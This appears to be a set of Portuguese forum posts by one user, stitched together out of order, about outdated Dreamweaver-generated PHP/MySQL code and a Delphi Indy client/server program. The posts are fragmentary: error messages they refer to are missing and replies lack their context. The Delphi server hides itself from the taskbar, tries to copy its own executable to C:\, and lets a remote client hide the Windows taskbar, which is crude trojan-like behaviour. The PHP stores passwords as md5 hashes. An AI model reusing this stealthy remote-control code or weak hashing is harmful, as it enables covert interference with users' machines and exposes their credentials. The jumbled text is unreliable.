bloodnick2015

Eu não sei qual parte é o OnExecuteOnExecute.

Não entendi. Pode me ajudar a montar o código? Se quiser coloco os arquivos que estou usando.

Algum moderador pode apagar este tópico?

E como uso o OnExecute?

Usa um editor.

Sim. parte php do cadastro_de_usuarios.php: <?php require_once('../Connections/pixels_conexao.php'); ?> <?php if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION < 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = $mysqli->real_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form1")) { $insertSQL = sprintf("INSERT INTO pixels_usuarios (usu_nome, usu_email, usu_senha) VALUES (%s, %s, md5(%s))", GetSQLValueString($_POST['usu_nome'], "text"), GetSQLValueString($_POST['usu_email'], "text"), GetSQLValueString($_POST['usu_senha'], "text")); $mysqli->select_db($database_pixels_conexao); $Result1 = $mysqli->query($insertSQL) or die($mysqli->error()); $insertGoTo = "sucesso.php"; if (isset($_SERVER['QUERY_STRING'])) { $insertGoTo .= (strpos($insertGoTo, '?')) ? "&" : "?"; $insertGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $insertGoTo)); } ?>

Aparece agora:

Observação: em procedure TForm1.hidebarConnect(AContext: TIdContext); e em procedure TForm1.mensagemhidebarConnect(AContext: TIdContext); Eu adicionei IOHandler, pois estava dando erro.

Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro: Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro. O código do servidor: unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, IdContext; type TForm1 = class(TForm) mensagem: TIdTCPServer; hidebar: TIdTCPServer; Memo1: TMemo; Memo2: TMemo; procedure mensagemConnect(AContext: TIdContext); procedure Memo1Change(Sender: TObject); procedure hidebarConnect(AContext: TIdContext); procedure Memo2Change(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); type TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; var Handle: THandle; RegisterServiceProcess: TRegisterServiceProcess; a : String; begin //*** Nao aparece na barra *********************************************** SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); a := Application.ExeName; If not FileExists('C:\') then Begin CopyFile(Pchar(a), Pchar('C:\'), False); End; end; procedure TForm1.hidebarConnect(AContext: TIdContext); begin With AContext.Connection.IOHandler do begin Memo2.Lines.Add(Readln) end; memo2.Text := ''; end; procedure TForm1.Memo1Change(Sender: TObject); var a : string; begin a := memo1.Lines[0]; ShowMessage(a); end; procedure TForm1.Memo2Change(Sender: TObject); var a : string; begin a := memo2.Lines[0]; if a = 'esconder' then ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); if a = 'mostrar' then ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); end; procedure TForm1.mensagemConnect(AContext: TIdContext); begin With AContext.Connection.IOHandler do begin Memo1.Lines.Add(Readln) end; memo1.Text := ''; end; end. O código do cliente: unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient; type TForm1 = class(TForm) GroupBox1: TGroupBox; GroupBox2: TGroupBox; GroupBox3: TGroupBox; IP: TEdit; Edit1: TEdit; Button1: TButton; ComboBox1: TComboBox; Button2: TButton; mensagem: TIdTCPClient; hidebar: TIdTCPClient; procedure Button1Click(Sender: TObject); procedure mensagemConnected(Sender: TObject); procedure Button2Click(Sender: TObject); procedure hidebarConnected(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin mensagem.Host := IP.Text; mensagem.Connect; end; procedure TForm1.Button2Click(Sender: TObject); begin hidebar.Host := Edit1.Text; hidebar.Connect; end; procedure TForm1.hidebarConnected(Sender: TObject); begin With hidebar Do Begin WriteLn(Combobox1.Text); Disconnect; End; end; procedure TForm1.mensagemConnected(Sender: TObject); begin With mensagem Do Begin WriteLn(Edit1.Text); Disconnect; End; end; end.

Então acho que é o Dreamweaver CS6, alguém que já usou ele para criar projeto em PHP com conexão pode confirmar se ele cria códigos obsoletos como a conexão?

Olha acho que isso tudo é por causa do Dreamweaver CS6, pois eu mandei ele criar tudo isso em php. O meu Dreamweaver CS6 é a versão: 12.0 Build 5808...

Agora apareceu isso:

Opa coloquei errado, é estas mensagens agora: Mudei: Linha 10: $theValue = function_exists("$mysqli->real_escape_string") ? $mysqli->real_escape_string($theValue) : $mysqli->escape_string($theValue); Linha 45: $mysqli->select_db($database_x_conexao, $x_conexao); Linha 46: $Result1 = $mysqli->query($insertSQL, $x_conexao) or die($mysqli->error());

Agora isso:

Agora quando mando cadastrar aparece: Cara acho que esse erros é problema do editor, pois foi ele que criou praticamente tudo em php. Linha 10: $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); Linha 45: mysql_select_db($database_x_conexao, $x_conexao); Linha 46: $Result1 = mysql_query($insertSQL, $x_conexao) or die(mysql_error());

Ms não quero que chame uma tabela na conexão, pois essa conexão é chamada para todas páginas do meu site.

Ok, não aparece mais o erro com o arquivo conexão, mas aparece "Não existem dados para a consulta executada".

Então mas tem haver com o Dreamweaver CS6, pois ele que criou a conexão?

Como assim biblioteca mysql? Foi o Dreamweaver CS6 que criou a conexão em php.

Estou usando o Dreamweaver CS6 e ele criou pra mim um arquivo de conexão com o banco de dados: <?php # FileName="Connection_php_mysql.htm" # Type="MYSQL" # HTTP="true" $hostname_x_conexao = "localhost"; $database_x_conexao = "x_bd"; $username_x_conexao = "root"; $password_x_conexao = ""; $x_conexao = mysql_pconnect($hostname_xs_conexao, $username_x_conexao, $password_x_conexao) or trigger_error(mysql_error(),E_USER_ERROR); ?>Só que quando rodo o site através do Wampserver na versão 5.5.12 do PHP dá uma mensagem de erro: Como o Dreamweaver CS6 pode criar algo obsoleto?